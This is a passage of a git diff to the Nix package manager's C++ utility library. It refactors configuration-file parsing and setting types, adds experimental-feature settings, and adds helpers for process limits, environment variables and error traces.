opt.second.setting->description}); } -void AbstractConfig::applyConfig(const std::string & contents, const std::string & path) { + +/** + * Parse configuration in `contents`, and also the configuration files included from there, with their location specified relative to `path`. + * + * `contents` and `path` represent the file that is being parsed. + * The result is only an intermediate list of key-value pairs of strings. + * More parsing according to the settings-specific semantics is being done by `loadConfFile` in `libstore/globals.cc`. +*/ +static void parseConfigFiles(const std::string & contents, const std::string & path, std::vector> & parsedContents) { unsigned int pos = 0; while (pos < contents.size()) { @@ -86,15 +110,14 @@ void AbstractConfig::applyConfig(const std::string & contents, const std::string line += contents[pos++]; pos++; - auto hash = line.find('#'); - if (hash != std::string::npos) + if (auto hash = line.find('#'); hash != line.npos) line = std::string(line, 0, hash); auto tokens = tokenizeString>(line); if (tokens.empty()) continue; if (tokens.size() < 2) - throw UsageError("illegal configuration line '%1%' in '%2%'", line, path); + throw UsageError("syntax error in configuration line '%1%' in '%2%'", line, path); auto include = false; auto ignoreMissing = false; @@ -107,10 +130,15 @@ void AbstractConfig::applyConfig(const std::string & contents, const std::string if (include) { if (tokens.size() != 2) - throw UsageError("illegal configuration line '%1%' in '%2%'", line, path); + throw UsageError("syntax error in configuration line '%1%' in '%2%'", line, path); auto p = absPath(tokens[1], dirOf(path)); if (pathExists(p)) { - applyConfigFile(p); + try { + std::string includedContents = readFile(p); + parseConfigFiles(includedContents, p, parsedContents); + } catch (SystemError &) { + // TODO: Do we actually want to ignore this? Or is it better to fail? + } } else if (!ignoreMissing) { throw Error("file '%1%' included from '%2%' not found", p, path); } @@ -118,23 +146,43 @@ void AbstractConfig::applyConfig(const std::string & contents, const std::string } if (tokens[1] != "=") - throw UsageError("illegal configuration line '%1%' in '%2%'", line, path); + throw UsageError("syntax error in configuration line '%1%' in '%2%'", line, path); - std::string name = tokens[0]; + std::string name = std::move(tokens[0]); auto i = tokens.begin(); advance(i, 2); - set(name, concatStringsSep(" ", Strings(i, tokens.end()))); // FIXME: slow + parsedContents.push_back({ + std::move(name), + concatStringsSep(" ", Strings(i, tokens.end())), + }); }; } -void AbstractConfig::applyConfigFile(const Path & path) -{ - try { - std::string contents = readFile(path); - applyConfig(contents, path); - } catch (SysError &) { } +void AbstractConfig::applyConfig(const std::string & contents, const std::string & path) { + std::vector> parsedContents; + + parseConfigFiles(contents, path, parsedContents); + + // First apply experimental-feature related settings + for (const auto & [name, value] : parsedContents) + if (name == "experimental-features" || name == "extra-experimental-features") + set(name, value); + + // Then apply other settings + // XXX: NIX_PATH must override the regular setting! This is done in `initGC()` + // Environment variables overriding settings should probably be part of the Config mechanism, + // but at the time of writing it's not worth building that for just one thing + for (const auto & [name, value] : parsedContents) { + if (name != "experimental-features" && name != "extra-experimental-features") { + if ((name == "nix-path" || name == "extra-nix-path") + && getEnv("NIX_PATH").has_value()) { + continue; + } + set(name, value); + } + } } void Config::resetOverridden() @@ -146,48 +194,62 @@ void Config::resetOverridden() nlohmann::json Config::toJSON() { auto res = nlohmann::json::object(); - for (auto & s : _settings) - if (!s.second.isAlias) { + for (const auto & s : _settings) + if (!s.second.isAlias) res.emplace(s.first, s.second.setting->toJSON()); - } return res; } std::string Config::toKeyValue() { - auto res = std::string(); - for (auto & s : _settings) - if (!s.second.isAlias) { + std::string res; + for (const auto & s : _settings) + if (s.second.isAlias) res += fmt("%s = %s\n", s.first, s.second.setting->to_string()); - } return res; } void Config::convertToArgs(Args & args, const std::string & category) { - for (auto & s : _settings) + for (auto & s : _settings) { if (!s.second.isAlias) s.second.setting->convertToArg(args, category); + } } AbstractSetting::AbstractSetting( const std::string & name, const std::string & description, - const std::set & aliases) - : name(name), description(stripIndentation(description)), aliases(aliases) + const std::set & aliases, + std::optional experimentalFeature) + : name(name) + , description(stripIndentation(description)) + , aliases(aliases) + , experimentalFeature(std::move(experimentalFeature)) { } +AbstractSetting::~AbstractSetting() +{ + // Check against a gcc miscompilation causing our constructor + // not to run (https://gcc.gnu.org/bugzilla/show_bug.cgi?id=80431). + assert(created == 123); +} + nlohmann::json AbstractSetting::toJSON() { return nlohmann::json(toJSONObject()); } -std::map AbstractSetting::toJSONObject() +std::map AbstractSetting::toJSONObject() const { std::map obj; obj.emplace("description", description); obj.emplace("aliases", aliases); + if (experimentalFeature) + obj.emplace("experimentalFeature", *experimentalFeature); + else + obj.emplace("experimentalFeature", nullptr); return obj; } @@ -195,36 +257,12 @@ void AbstractSetting::convertToArg(Args & args, const std::string & category) { } -template -bool BaseSetting::isAppendable() -{ - return false; -} -template -void BaseSetting::convertToArg(Args & args, const std::string & category) -{ - args.addFlag({ - .longName = name, - .description = fmt("Set the `%s` setting.", name), - .category = category, - .labels = {"value"}, - .handler = {[=](std::string s) { overridden = true; set(s); }}, - }); +bool AbstractSetting::isOverridden() const { return overridden; } - if (isAppendable()) - args.addFlag({ - .longName = "extra-" + name, - .description = fmt("Append to the `%s` setting.", name), - .category = category, - .labels = {"value"}, - .handler = {[=](std::string s) { overridden = true; set(s, true); }}, - }); -} - -template<> void BaseSetting::set(const std::string & str, bool append) +template<> std::string BaseSetting::parse(const std::string & str) const { - value = str; + return str; } template<> std::string BaseSetting::to_string() const @@ -232,29 +270,25 @@ template<> std::string BaseSetting::to_string() const return value; } -template -void BaseSetting::set(const std::string & str, bool append) +template<> std::optional BaseSetting>::parse(const std::string & str) const { - static_assert(std::is_integral::value, "Integer required."); - if (auto n = string2Int(str)) - value = *n; + if (str == "") + return std::nullopt; else - throw UsageError("setting '%s' has invalid value '%s'", name, str); + return { str }; } -template -std::string BaseSetting::to_string() const +template<> std::string BaseSetting>::to_string() const { - static_assert(std::is_integral::value, "Integer required."); - return std::to_string(value); + return value ? *value : ""; } -template<> void BaseSetting::set(const std::string & str, bool append) +template<> bool BaseSetting::parse(const std::string & str) const { if (str == "true" || str == "yes" || str == "1") - value = true; + return true; else if (str == "false" || str == "no" || str == "0") - value = false; + return false; else throw UsageError("Boolean setting '%s' has invalid value '%s'", name, str); } @@ -268,28 +302,32 @@ template<> void BaseSetting::convertToArg(Args & args, const std::string & { args.addFlag({ .longName = name, + .aliases = aliases, .description = fmt("Enable the `%s` setting.", name), .category = category, - .handler = {[=]() { override(true); }} + .handler = {[this] { override(true); }}, + .experimentalFeature = experimentalFeature, }); args.addFlag({ .longName = "no-" + name, + .aliases = aliases, .description = fmt("Disable the `%s` setting.", name), .category = category, - .handler = {[=]() { override(false); }} + .handler = {[this] { override(false); }}, + .experimentalFeature = experimentalFeature, }); } -template<> void BaseSetting::set(const std::string & str, bool append) +template<> Strings BaseSetting::parse(const std::string & str) const { - auto ss = tokenizeString(str); - if (!append) value.clear(); - for (auto & s : ss) value.push_back(std::move(s)); + return tokenizeString(str); } -template<> bool BaseSetting::isAppendable() +template<> void BaseSetting::appendOrSet(Strings newValue, bool append) { - return true; + if (!append) value.clear(); + value.insert(value.end(), std::make_move_iterator(newValue.begin()), + std::make_move_iterator(newValue.end())); } template<> std::string BaseSetting::to_string() const @@ -297,16 +335,15 @@ template<> std::string BaseSetting::to_string() const return concatStringsSep(" ", value); } -template<> void BaseSetting::set(const std::string & str, bool append) +template<> StringSet BaseSetting::parse(const std::string & str) const { - if (!append) value.clear(); - for (auto & s : tokenizeString(str)) - value.insert(s); + return tokenizeString(str); } -template<> bool BaseSetting::isAppendable() +template<> void BaseSetting::appendOrSet(StringSet newValue, bool append) { - return true; + if (!append) value.clear(); + value.insert(std::make_move_iterator(newValue.begin()), std::make_move_iterator(newValue.end())); } template<> std::string BaseSetting::to_string() const @@ -314,53 +351,56 @@ template<> std::string BaseSetting::to_string() const return concatStringsSep(" ", value); } -template<> void BaseSetting>::set(const std::string & str, bool append) +template<> std::set BaseSetting>::parse(const std::string & str) const { - if (!append) value.clear(); + std::set res; for (auto & s : tokenizeString(str)) { - auto thisXpFeature = parseExperimentalFeature(s); - if (thisXpFeature) - value.insert(thisXpFeature.value()); - else + if (auto thisXpFeature = parseExperimentalFeature(s); thisXpFeature) { + res.insert(thisXpFeature.value()); + if (thisXpFeature.value() == Xp::Flakes) + res.insert(Xp::FetchTree); + } else warn("unknown experimental feature '%s'", s); } + return res; } -template<> bool BaseSetting>::isAppendable() +template<> void BaseSetting>::appendOrSet(std::set newValue, bool append) { - return true; + if (!append) value.clear(); + value.insert(std::make_move_iterator(newValue.begin()), std::make_move_iterator(newValue.end())); } template<> std::string BaseSetting>::to_string() const { StringSet stringifiedXpFeatures; - for (auto & feature : value) + for (const auto & feature : value) stringifiedXpFeatures.insert(std::string(showExperimentalFeature(feature))); return concatStringsSep(" ", stringifiedXpFeatures); } -template<> void BaseSetting::set(const std::string & str, bool append) +template<> StringMap BaseSetting::parse(const std::string & str) const { - if (!append) value.clear(); - for (auto & s : tokenizeString(str)) { - auto eq = s.find_first_of('='); - if (std::string::npos != eq) - value.emplace(std::string(s, 0, eq), std::string(s, eq + 1)); + StringMap res; + for (const auto & s : tokenizeString(str)) { + if (auto eq = s.find_first_of('='); s.npos != eq) + res.emplace(std::string(s, 0, eq), std::string(s, eq + 1)); // else ignored } + return res; } -template<> bool BaseSetting::isAppendable() +template<> void BaseSetting::appendOrSet(StringMap newValue, bool append) { - return true; + if (!append) value.clear(); + value.insert(std::make_move_iterator(newValue.begin()), std::make_move_iterator(newValue.end())); } template<> std::string BaseSetting::to_string() const { - Strings kvstrs; - std::transform(value.begin(), value.end(), back_inserter(kvstrs), - [&](auto kvpair){ return kvpair.first + "=" + kvpair.second; }); - return concatStringsSep(" ", kvstrs); + return std::transform_reduce(value.cbegin(), value.cend(), std::string{}, + [](const auto & l, const auto &r) { return l + " " + r; }, + [](const auto & kvpair){ return kvpair.first + "=" + kvpair.second; }); } template class BaseSetting; @@ -376,72 +416,74 @@ template class BaseSetting; template class BaseSetting; template class BaseSetting>; -void PathSetting::set(const std::string & str, bool append) +static Path parsePath(const AbstractSetting & s, const std::string & str) { - if (str == "") { - if (allowEmpty) - value = ""; - else - throw UsageError("setting '%s' cannot be empty", name); - } else - value = canonPath(str); + if (str == "") + throw UsageError("setting '%s' is a path and paths cannot be empty", s.name); + else + return canonPath(str); } -bool GlobalConfig::set(const std::string & name, const std::string & value) +PathSetting::PathSetting(Config * options, + const Path & def, + const std::string & name, + const std::string & description, + const std::set & aliases) + : BaseSetting(def, true, name, description, aliases) { - for (auto & config : *configRegistrations) - if (config->set(name, value)) return true; - - unknownSettings.emplace(name, value); - - return false; + options->addSetting(this); } -void GlobalConfig::getSettings(std::map & res, bool overriddenOnly) +Path PathSetting::parse(const std::string & str) const { - for (auto & config : *configRegistrations) - config->getSettings(res, overriddenOnly); + return parsePath(*this, str); } -void GlobalConfig::resetOverridden() + +OptionalPathSetting::OptionalPathSetting(Config * options, + const std::optional & def, + const std::string & name, + const std::string & description, + const std::set & aliases) + : BaseSetting>(def, true, name, description, aliases) { - for (auto & config : *configRegistrations) - config->resetOverridden(); + options->addSetting(this); } -nlohmann::json GlobalConfig::toJSON() + +std::optional OptionalPathSetting::parse(const std::string & str) const { - auto res = nlohmann::json::object(); - for (auto & config : *configRegistrations) - res.update(config->toJSON()); - return res; + if (str == "") + return std::nullopt; + else + return parsePath(*this, str); } -std::string GlobalConfig::toKeyValue() +void OptionalPathSetting::operator =(const std::optional & v) { - std::string res; - std::map settings; - globalConfig.getSettings(settings); - for (auto & s : settings) - res += fmt("%s = %s\n", s.first, s.second.value); - return res; + this->assign(v); } -void GlobalConfig::convertToArgs(Args & args, const std::string & category) +bool ExperimentalFeatureSettings::isEnabled(const ExperimentalFeature & feature) const { - for (auto & config : *configRegistrations) - config->convertToArgs(args, category); + auto & f = experimentalFeatures.get(); + return std::find(f.begin(), f.end(), feature) != f.end(); } -GlobalConfig globalConfig; - -GlobalConfig::ConfigRegistrations * GlobalConfig::configRegistrations; - -GlobalConfig::Register::Register(Config * config) +void ExperimentalFeatureSettings::require(const ExperimentalFeature & feature) const { - if (!configRegistrations) - configRegistrations = new ConfigRegistrations; - configRegistrations->emplace_back(config); + if (!isEnabled(feature)) + throw MissingExperimentalFeature(feature); +} + +bool ExperimentalFeatureSettings::isEnabled(const std::optional & feature) const +{ + return !feature || isEnabled(*feature); +} + +void ExperimentalFeatureSettings::require(const std::optional & feature) const +{ + if (feature) require(*feature); } } diff --git a/src/libutil/config.hh b/src/libutil/config.hh index 79ec0f9cf..c0c59ac68 100644 --- a/src/libutil/config.hh +++ b/src/libutil/config.hh @@ -1,12 +1,14 @@ +#pragma once +///@file + #include #include #include -#include "types.hh" - #include -#pragma once +#include "types.hh" +#include "experimental-features.hh" namespace nix { @@ -34,8 +36,8 @@ namespace nix { * * std::map settings; * config.getSettings(settings); - * config["system"].description == "the current system" - * config["system"].value == "x86_64-linux" + * settings["system"].description == "the current system" + * settings["system"].value == "x86_64-linux" * * * The above retrieves all currently known settings from the `Config` object @@ -50,9 +52,7 @@ class AbstractConfig protected: StringMap unknownSettings; - AbstractConfig(const StringMap & initials = {}) - : unknownSettings(initials) - { } + AbstractConfig(StringMap initials = {}); public: @@ -82,12 +82,6 @@ public: */ void applyConfig(const std::string & contents, const std::string & path = ""); - /** - * Applies a nix configuration file - * - path: the location of the config file to apply - */ - void applyConfigFile(const Path & path); - /** * Resets the `overridden` flag of all Settings */ @@ -123,21 +117,21 @@ public: void reapplyUnknownSettings(); }; -/* A class to simplify providing configuration settings. The typical - use is to inherit Config and add Setting members: - - class MyClass : private Config - { - Setting foo{this, 123, "foo", "the number of foos to use"}; - Setting bar{this, "blabla", "bar", "the name of the bar"}; - - MyClass() : Config(readConfigFile("/etc/my-app.conf")) - { - std::cout << foo << "\n"; // will print 123 unless overridden - } - }; -*/ - +/** + * A class to simplify providing configuration settings. The typical + * use is to inherit Config and add Setting members: + * + * class MyClass : private Config + * { + * Setting foo{this, 123, "foo", "the number of foos to use"}; + * Setting bar{this, "blabla", "bar", "the name of the bar"}; + * + * MyClass() : Config(readConfigFile("/etc/my-app.conf")) + * { + * std::cout << foo << "\n"; // will print 123 unless overridden + * } + * }; + */ class Config : public AbstractConfig { friend class AbstractSetting; @@ -148,12 +142,9 @@ public: { bool isAlias; AbstractSetting * setting; - SettingData(bool isAlias, AbstractSetting * setting) - : isAlias(isAlias), setting(setting) - { } }; - typedef std::map Settings; + using Settings = std::map; private: @@ -161,9 +152,7 @@ private: public: - Config(const StringMap & initials = {}) - : AbstractConfig(initials) - { } + Config(StringMap initials = {}); bool set(const std::string & name, const std::string & value) override; @@ -194,37 +183,40 @@ public: bool overridden = false; + std::optional experimentalFeature; + protected: AbstractSetting( const std::string & name, const std::string & description, - const std::set & aliases); + const std::set & aliases, + std::optional experimentalFeature = std::nullopt); - virtual ~AbstractSetting() - { - // Check against a gcc miscompilation causing our constructor - // not to run (https://gcc.gnu.org/bugzilla/show_bug.cgi?id=80431). - assert(created == 123); - } + virtual ~AbstractSetting(); virtual void set(const std::string & value, bool append = false) = 0; - virtual bool isAppendable() - { return false; } + /** + * Whether the type is appendable; i.e. whether the `append` + * parameter to `set()` is allowed to be `true`. + */ + virtual bool isAppendable() = 0; virtual std::string to_string() const = 0; nlohmann::json toJSON(); - virtual std::map toJSONObject(); + virtual std::map toJSONObject() const; virtual void convertToArg(Args & args, const std::string & category); - bool isOverridden() const { return overridden; } + bool isOverridden() const; }; -/* A setting of type T. */ +/** + * A setting of type T. + */ template class BaseSetting : public AbstractSetting { @@ -234,14 +226,32 @@ protected: const T defaultValue; const bool documentDefault; + /** + * Parse the string into a `T`. + * + * Used by `set()`. + */ + virtual T parse(const std::string & str) const; + + /** + * Append or overwrite `value` with `newValue`. + * + * Some types to do not support appending in which case `append` + * should never be passed. The default handles this case. + * + * @param append Whether to append or overwrite. + */ + virtual void appendOrSet(T newValue, bool append); + public: BaseSetting(const T & def, const bool documentDefault, const std::string & name, const std::string & description, - const std::set & aliases = {}) - : AbstractSetting(name, description, aliases) + const std::set & aliases = {}, + std::optional experimentalFeature = std::nullopt) + : AbstractSetting(name, description, aliases, experimentalFeature) , value(def) , defaultValue(def) , documentDefault(documentDefault) @@ -250,15 +260,35 @@ public: operator const T &() const { return value; } operator T &() { return value; } const T & get() const { return value; } - bool operator ==(const T & v2) const { return value == v2; } - bool operator !=(const T & v2) const { return value != v2; } - void operator =(const T & v) { assign(v); } + template + bool operator ==(const U & v2) const { return value == v2; } + template + bool operator !=(const U & v2) const { return value != v2; } + template + void operator =(const U & v) { assign(v); } virtual void assign(const T & v) { value = v; } - void setDefault(const T & v) { if (!overridden) value = v; } + template + void setDefault(const U & v) { if (!overridden) value = v; } - void set(const std::string & str, bool append = false) override; + /** + * Require any experimental feature the setting depends on + * + * Uses `parse()` to get the value from `str`, and `appendOrSet()` + * to set it. + */ + void set(const std::string & str, bool append = false) override final; - bool isAppendable() override; + /** + * C++ trick; This is template-specialized to compile-time indicate whether + * the type is appendable. + */ + struct trait; + + /** + * Always defined based on the C++ magic + * with `trait` above. + */ + bool isAppendable() override final; virtual void override(const T & v) { @@ -270,18 +300,17 @@ public: void convertToArg(Args & args, const std::string & category) override; - std::map toJSONObject() override; + std::map toJSONObject() const override; }; template std::ostream & operator <<(std::ostream & str, const BaseSetting & opt) { - str << (const T &) opt; - return str; + return str << static_cast(opt); } template -bool operator ==(const T & v1, const BaseSetting & v2) { return v1 == (const T &) v2; } +bool operator ==(const T & v1, const BaseSetting & v2) { return v1 == static_cast(v2); } template class Setting : public BaseSetting @@ -292,8 +321,9 @@ public: const std::string & name, const std::string & description, const std::set & aliases = {}, - const bool documentDefault = true) - : BaseSetting(def, documentDefault, name, description, aliases) + const bool documentDefault = true, + std::optional experimentalFeature = std::nullopt) + : BaseSetting(def, documentDefault, name, description, aliases, std::move(experimentalFeature)) { options->addSetting(this); } @@ -301,56 +331,96 @@ public: void operator =(const T & v) { this->assign(v); } }; -/* A special setting for Paths. These are automatically canonicalised - (e.g. "/foo//bar/" becomes "/foo/bar"). */ +/** + * A special setting for Paths. These are automatically canonicalised + * (e.g. "/foo//bar/" becomes "/foo/bar"). + * + * It is mandatory to specify a path; i.e. the empty string is not + * permitted. + */ class PathSetting : public BaseSetting { - bool allowEmpty; - public: PathSetting(Config * options, - bool allowEmpty, const Path & def, const std::string & name, const std::string & description, - const std::set & aliases = {}) - : BaseSetting(def, true, name, description, aliases) - , allowEmpty(allowEmpty) - { - options->addSetting(this); - } + const std::set & aliases = {}); - void set(const std::string & str, bool append = false) override; + Path parse(const std::string & str) const override; Path operator +(const char * p) const { return value + p; } void operator =(const Path & v) { this->assign(v); } }; -struct GlobalConfig : public AbstractConfig +/** + * Like `PathSetting`, but the absence of a path is also allowed. + * + * `std::optional` is used instead of the empty string for clarity. + */ +class OptionalPathSetting : public BaseSetting> { - typedef std::vector ConfigRegistrations; - static ConfigRegistrations * configRegistrations; +public: - bool set(const std::string & name, const std::string & value) override; + OptionalPathSetting(Config * options, + const std::optional & def, + const std::string & name, + const std::string & description, + const std::set & aliases = {}); - void getSettings(std::map & res, bool overriddenOnly = false) override; + std::optional parse(const std::string & str) const override; - void resetOverridden() override; - - nlohmann::json toJSON() override; - - std::string toKeyValue() override; - - void convertToArgs(Args & args, const std::string & category) override; - - struct Register - { - Register(Config * config); - }; + void operator =(const std::optional & v); }; -extern GlobalConfig globalConfig; + +struct ExperimentalFeatureSettings : Config { + + Setting> experimentalFeatures{ + this, {}, "experimental-features", + R"( + Experimental features that are enabled. + + Example: + + ``` + experimental-features = nix-command flakes + ``` + + The following experimental features are available: + + {{#include experimental-features-shortlist.md}} + + Experimental features are [further documented in the manual](@docroot@/development/experimental-features.md). + )"}; + + /** + * Check whether the given experimental feature is enabled. + */ + bool isEnabled(const ExperimentalFeature &) const; + + /** + * Require an experimental feature be enabled, throwing an error if it is + * not. + */ + void require(const ExperimentalFeature &) const; + + /** + * `std::nullopt` pointer means no feature, which means there is nothing that could be + * disabled, and so the function returns true in that case. + */ + bool isEnabled(const std::optional &) const; + + /** + * `std::nullopt` pointer means no feature, which means there is nothing that could be + * disabled, and so the function does nothing in that case. + */ + void require(const std::optional &) const; +}; + +// FIXME: don't use a global variable. +extern ExperimentalFeatureSettings experimentalFeatureSettings; } diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc new file mode 100644 index 000000000..0bc46d746 --- /dev/null +++ b/src/libutil/current-process.cc @@ -0,0 +1,156 @@ +#include +#include + +#include "current-process.hh" +#include "util.hh" +#include "finally.hh" +#include "file-system.hh" +#include "processes.hh" +#include "signals.hh" +#include + +#ifdef __APPLE__ +# include +#endif + +#if __linux__ +# include +# include "cgroup.hh" +# include "namespaces.hh" +#endif + +#ifndef _WIN32 +# include +#endif + +namespace nix { + +unsigned int getMaxCPU() +{ + #if __linux__ + try { + auto cgroupFS = getCgroupFS(); + if (!cgroupFS) return 0; + + auto cgroups = getCgroups("/proc/self/cgroup"); + auto cgroup = cgroups[""]; + if (cgroup == "") return 0; + + auto cpuFile = *cgroupFS + "/" + cgroup + "/cpu.max"; + + auto cpuMax = readFile(cpuFile); + auto cpuMaxParts = tokenizeString>(cpuMax, " \n"); + + if (cpuMaxParts.size() != 2) { + return 0; + } + + auto quota = cpuMaxParts[0]; + auto period = cpuMaxParts[1]; + if (quota != "max") + return std::ceil(std::stoi(quota) / std::stof(period)); + } catch (Error &) { ignoreException(lvlDebug); } + #endif + + return 0; +} + + +////////////////////////////////////////////////////////////////////// + + +size_t savedStackSize = 0; + +void setStackSize(size_t stackSize) +{ + #ifndef _WIN32 + struct rlimit limit; + if (getrlimit(RLIMIT_STACK, &limit) == 0 && limit.rlim_cur < stackSize) { + savedStackSize = limit.rlim_cur; + limit.rlim_cur = std::min(static_cast(stackSize), limit.rlim_max); + if (setrlimit(RLIMIT_STACK, &limit) != 0) { + logger->log( + lvlError, + HintFmt( + "Failed to increase stack size from %1% to %2% (maximum allowed stack size: %3%): %4%", + savedStackSize, + stackSize, + limit.rlim_max, + std::strerror(errno) + ).str() + ); + } + } + #else + ULONG_PTR stackLow, stackHigh; + GetCurrentThreadStackLimits(&stackLow, &stackHigh); + ULONG maxStackSize = stackHigh - stackLow; + ULONG currStackSize = 0; + // This retrieves the current promised stack size + SetThreadStackGuarantee(&currStackSize); + if (currStackSize < stackSize) { + savedStackSize = currStackSize; + ULONG newStackSize = std::min(static_cast(stackSize), maxStackSize); + if (SetThreadStackGuarantee(&newStackSize) == 0) { + logger->log( + lvlError, + HintFmt( + "Failed to increase stack size from %1% to %2% (maximum allowed stack size: %3%): %4%", + savedStackSize, + stackSize, + maxStackSize, + std::to_string(GetLastError()) + ).str() + ); + } + } + #endif +} + +void restoreProcessContext(bool restoreMounts) +{ + #ifndef _WIN32 + unix::restoreSignals(); + #endif + if (restoreMounts) { + #if __linux__ + restoreMountNamespace(); + #endif + } + + #ifndef _WIN32 + if (savedStackSize) { + struct rlimit limit; + if (getrlimit(RLIMIT_STACK, &limit) == 0) { + limit.rlim_cur = savedStackSize; + setrlimit(RLIMIT_STACK, &limit); + } + } + #endif +} + + +////////////////////////////////////////////////////////////////////// + + +std::optional getSelfExe() +{ + static auto cached = []() -> std::optional + { + #if __linux__ || __GNU__ + return readLink("/proc/self/exe"); + #elif __APPLE__ + char buf[1024]; + uint32_t size = sizeof(buf); + if (_NSGetExecutablePath(buf, &size) == 0) + return buf; + else + return std::nullopt; + #else + return std::nullopt; + #endif + }(); + return cached; +} + +} diff --git a/src/libutil/current-process.hh b/src/libutil/current-process.hh new file mode 100644 index 000000000..8286bf89d --- /dev/null +++ b/src/libutil/current-process.hh @@ -0,0 +1,38 @@ +#pragma once +///@file + +#include + +#ifndef _WIN32 +# include +#endif + +#include "types.hh" + +namespace nix { + +/** + * If cgroups are active, attempt to calculate the number of CPUs available. + * If cgroups are unavailable or if cpu.max is set to "max", return 0. + */ +unsigned int getMaxCPU(); + +/** + * Change the stack size. + */ +void setStackSize(size_t stackSize); + +/** + * Restore the original inherited Unix process context (such as signal + * masks, stack size). + + * See unix::startSignalHandlerThread(), unix::saveSignalMask(). + */ +void restoreProcessContext(bool restoreMounts = true); + +/** + * @return the path of the current executable. + */ +std::optional getSelfExe(); + +} diff --git a/src/libutil/english.cc b/src/libutil/english.cc new file mode 100644 index 000000000..8c93c9156 --- /dev/null +++ b/src/libutil/english.cc @@ -0,0 +1,18 @@ +#include "english.hh" + +namespace nix { + +std::ostream & pluralize( + std::ostream & output, + unsigned int count, + const std::string_view single, + const std::string_view plural) +{ + if (count == 1) + output << "1 " << single; + else + output << count << " " << plural; + return output; +} + +} diff --git a/src/libutil/english.hh b/src/libutil/english.hh new file mode 100644 index 000000000..9c6c93571 --- /dev/null +++ b/src/libutil/english.hh @@ -0,0 +1,18 @@ +#pragma once + +#include + +namespace nix { + +/** + * Pluralize a given value. + * + * If `count == 1`, prints `1 {single}` to `output`, otherwise prints `{count} {plural}`. + */ +std::ostream & pluralize( + std::ostream & output, + unsigned int count, + const std::string_view single, + const std::string_view plural); + +} diff --git a/src/libutil/environment-variables.cc b/src/libutil/environment-variables.cc new file mode 100644 index 000000000..5947cf742 --- /dev/null +++ b/src/libutil/environment-variables.cc @@ -0,0 +1,51 @@ +#include "util.hh" +#include "environment-variables.hh" + +extern char ** environ __attribute__((weak)); + +namespace nix { + +std::optional getEnv(const std::string & key) +{ + char * value = getenv(key.c_str()); + if (!value) + return {}; + return std::string(value); +} + +std::optional getEnvNonEmpty(const std::string & key) +{ + auto value = getEnv(key); + if (value == "") + return {}; + return value; +} + +std::map getEnv() +{ + std::map env; + for (size_t i = 0; environ[i]; ++i) { + auto s = environ[i]; + auto eq = strchr(s, '='); + if (!eq) + // invalid env, just keep going + continue; + env.emplace(std::string(s, eq), std::string(eq + 1)); + } + return env; +} + +void clearEnv() +{ + for (auto & name : getEnv()) + unsetenv(name.first.c_str()); +} + +void replaceEnv(const std::map & newEnv) +{ + clearEnv(); + for (auto & newEnvVar : newEnv) + setEnv(newEnvVar.first.c_str(), newEnvVar.second.c_str()); +} + +} diff --git a/src/libutil/environment-variables.hh b/src/libutil/environment-variables.hh new file mode 100644 index 000000000..879e1f304 --- /dev/null +++ b/src/libutil/environment-variables.hh @@ -0,0 +1,67 @@ +#pragma once +/** + * @file + * + * Utilities for working with the current process's environment + * variables. + */ + +#include + +#include "types.hh" +#include "file-path.hh" + +namespace nix { + +/** + * @return an environment variable. + */ +std::optional getEnv(const std::string & key); + +/** + * Like `getEnv`, but using `OsString` to avoid coercions. + */ +std::optional getEnvOs(const OsString & key); + +/** + * @return a non empty environment variable. Returns nullopt if the env + * variable is set to "" + */ +std::optional getEnvNonEmpty(const std::string & key); + +/** + * Get the entire environment. + */ +std::map getEnv(); + +#ifdef _WIN32 +/** + * Implementation of missing POSIX function. + */ +int unsetenv(const char * name); +#endif + +/** + * Like POSIX `setenv`, but always overrides. + * + * We don't need the non-overriding version, and this is easier to + * reimplement on Windows. + */ +int setEnv(const char * name, const char * value); + +/** + * Like `setEnv`, but using `OsString` to avoid coercions. + */ +int setEnvOs(const OsString & name, const OsString & value); + +/** + * Clear the environment. + */ +void clearEnv(); + +/** + * Replace the entire environment with the given one. + */ +void replaceEnv(const std::map & newEnv); + +} diff --git a/src/libutil/error.cc b/src/libutil/error.cc index 1a1aecea5..ccd008c7c 100644 --- a/src/libutil/error.cc +++ b/src/libutil/error.cc @@ -1,4 +1,10 @@ +#include + #include "error.hh" +#include "environment-variables.hh" +#include "signals.hh" +#include "terminal.hh" +#include "position.hh" #include #include @@ -7,11 +13,15 @@ namespace nix { -const std::string nativeSystem = SYSTEM; - -void BaseError::addTrace(std::shared_ptr && e, hintformat hint) +void BaseError::addTrace(std::shared_ptr && e, HintFmt hint, TracePrint print) { - err.traces.push_front(Trace { .pos = std::move(e), .hint = hint }); + err.traces.push_front(Trace { .pos = std::move(e), .hint = hint, .print = print }); +} + +void throwExceptionSelfCheck() +{ + // This is meant to be caught in initLibUtil() + throw Error("C++ exception handling is broken. This would appear to be a problem with the way Nix was compiled and/or linked and/or loaded."); } // c++ std::exception descendants must have a 'const char* what()' function. @@ -30,63 +40,35 @@ const std::string & BaseError::calcWhat() const std::optional ErrorInfo::programName = std::nullopt; -std::ostream & operator <<(std::ostream & os, const hintformat & hf) +std::ostream & operator <<(std::ostream & os, const HintFmt & hf) { return os << hf.str(); } -std::ostream & operator <<(std::ostream & str, const AbstractPos & pos) +/** + * An arbitrarily defined value comparison for the purpose of using traces in the key of a sorted container. + */ +inline std::strong_ordering operator<=>(const Trace& lhs, const Trace& rhs) { - pos.print(str); - str << ":" << pos.line; - if (pos.column > 0) - str << ":" << pos.column; - return str; -} - -std::optional AbstractPos::getCodeLines() const -{ - if (line == 0) - return std::nullopt; - - if (auto source = getSource()) { - - std::istringstream iss(*source); - // count the newlines. - int count = 0; - std::string curLine; - int pl = line - 1; - - LinesOfCode loc; - - do { - std::getline(iss, curLine); - ++count; - if (count < pl) - ; - else if (count == pl) { - loc.prevLineOfCode = curLine; - } else if (count == pl + 1) { - loc.errLineOfCode = curLine; - } else if (count == pl + 2) { - loc.nextLineOfCode = curLine; - break; - } - - if (!iss.good()) - break; - } while (true); - - return loc; + // `std::shared_ptr` does not have value semantics for its comparison + // functions, so we need to check for nulls and compare the dereferenced + // values here. + if (lhs.pos != rhs.pos) { + if (auto cmp = bool{lhs.pos} <=> bool{rhs.pos}; cmp != 0) + return cmp; + if (auto cmp = *lhs.pos <=> *rhs.pos; cmp != 0) + return cmp; } - - return std::nullopt; + // This formats a freshly formatted hint string and then throws it away, which + // shouldn't be much of a problem because it only runs when pos is equal, and this function is + // used for trace printing, which is infrequent. + return lhs.hint.str() <=> rhs.hint.str(); } // print lines of code to the ostream, indicating the error column. void printCodeLines(std::ostream & out, const std::string & prefix, - const AbstractPos & errPos, + const Pos & errPos, const LinesOfCode & loc) { // previous line of code. @@ 